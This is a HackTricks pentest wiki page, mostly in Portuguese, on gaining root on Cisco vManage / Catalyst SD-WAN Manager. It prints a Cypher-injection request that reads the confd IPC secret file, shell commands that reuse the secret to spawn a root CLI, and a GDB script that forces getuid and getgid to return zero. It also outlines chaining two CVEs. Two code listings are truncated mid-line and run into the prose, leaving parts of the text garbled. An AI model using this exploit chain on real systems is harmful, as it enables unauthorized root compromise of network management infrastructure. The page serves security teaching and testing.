Cisco - vmanage
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Caminho 1
(Exemplo de https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)
Depois de vasculhar um pouco a documentação relacionada ao confd e aos diferentes binários (acessíveis com uma conta no site da Cisco), descobrimos que, para autenticar o IPC socket, ele usa um segredo localizado em /etc/confd/confd_ipc_secret:
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
Lembra da nossa instância Neo4j? Ela está em execução com os privilégios do usuário vmanage, permitindo-nos assim recuperar o arquivo usando a vulnerabilidade anterior:
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net
[...]
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
O programa confd_cli não aceita argumentos de linha de comando, mas chama /usr/bin/confd_cli_user com argumentos. Portanto, podemos chamar diretamente /usr/bin/confd_cli_user com nosso próprio conjunto de argumentos. No entanto, ele não é legível com os nossos privilégios atuais, então precisamos recuperá-lo do rootfs e copiá-lo usando scp, ler a ajuda e usá-lo para obter o shell:
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret
vManage:~$ /tmp/confd_cli_user -U 0 -G 0
Welcome to Viptela CLI
admin connected from 127.0.0.1 using console on vManage
vManage# vshell
vManage:~# id
uid=0(root) gid=0(root) groups=0(root)
Caminho 2
O blog¹ da equipe synacktiv descreveu uma forma elegante de obter um root shell, mas a ressalva é que isso requer obter uma cópia de /usr/bin/confd_cli_user, que só é legível por root. Eu encontrei outra forma de escalar para root sem esse transtorno.
Ao desassemblar o binário /usr/bin/confd_cli, observei o seguinte:
Objdump mostrando a coleta de UID/GID
```asm vmanage:~$ objdump -d /usr/bin/confd_cli … snipped … 40165c: 48 89 c3 mov %rax,%rbx 40165f: bf 1c 31 40 00 mov $0x40311c,%edi 401664: e8 17 f8 ff ff callq 400e80Quando executo “ps aux”, observei o seguinte (note -g 100 -u 107)
vmanage:~$ ps aux
… snipped …
root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …
Hipotezei que o programa “confd_cli” passa o ID de usuário e o ID de grupo que coletou do usuário logado para a aplicação “cmdptywrapper”.
Minha primeira tentativa foi executar o “cmdptywrapper” diretamente e passar os argumentos -g 0 -u 0, mas falhou. Parece que um descritor de arquivo (-i 1015) foi criado em algum ponto e eu não consigo falsificá-lo.
Como mencionado no blog da synacktiv (último exemplo), o programa confd_cli não aceita argumentos de linha de comando, mas posso influenciá-lo com um depurador e, felizmente, o GDB está incluído no sistema.
Criei um script GDB onde forcei as APIs getuid e getgid a retornarem 0. Como já tenho privilégio “vmanage” via deserialization RCE, tenho permissão para ler diretamente /etc/confd/confd_ipc_secret.
root.gdb:
set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run
Saída do console:
Saída do console
```text vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli GNU gdb (GDB) 8.0.1 Copyright (C) 2017 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or laterPath 3 (2025 CLI input validation bug)
Cisco renameou vManage para Catalyst SD-WAN Manager, mas o CLI subjacente ainda roda na mesma máquina. Um advisory de 2025 (CVE-2025-20122) descreve validação de entrada insuficiente no CLI que permite que qualquer usuário local autenticado obtenha root enviando uma requisição forjada ao serviço CLI do manager. Combine qualquer low-priv foothold (e.g., the Neo4j deserialization from Path1, ou um shell de usuário cron/backup) com esta falha para escalar para root sem copiar confd_cli_user ou anexar o GDB:
- Use seu shell low-priv para localizar o endpoint IPC do CLI (tipicamente o listener
cmdptywrappermostrado na porta 4565 em Path2). - Crie uma request do CLI que forje os campos UID/GID para 0. O bug de validação não aplica o UID do chamador original, então o wrapper lança um PTY com privilégios de root.
- Pipe qualquer sequência de comandos (
vshell; id) através da requisição forjada para obter um shell root.
The exploit surface is local-only; remote code execution is still required to land the initial shell, but once inside the box exploitation is a single IPC message rather than a debugger-based UID patch.
Outras vulns recentes do vManage/Catalyst SD-WAN Manager para encadear
- Authenticated UI XSS (CVE-2024-20475) – Injete JavaScript em campos específicos da interface; roubar uma sessão de admin fornece um caminho via navegador para
vshell→ shell local → Path3 até root.
References
- Cisco Catalyst SD-WAN Manager Privilege Escalation Vulnerability (CVE-2025-20122)
- Cisco Catalyst SD-WAN Manager Cross-Site Scripting Vulnerability (CVE-2024-20475)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


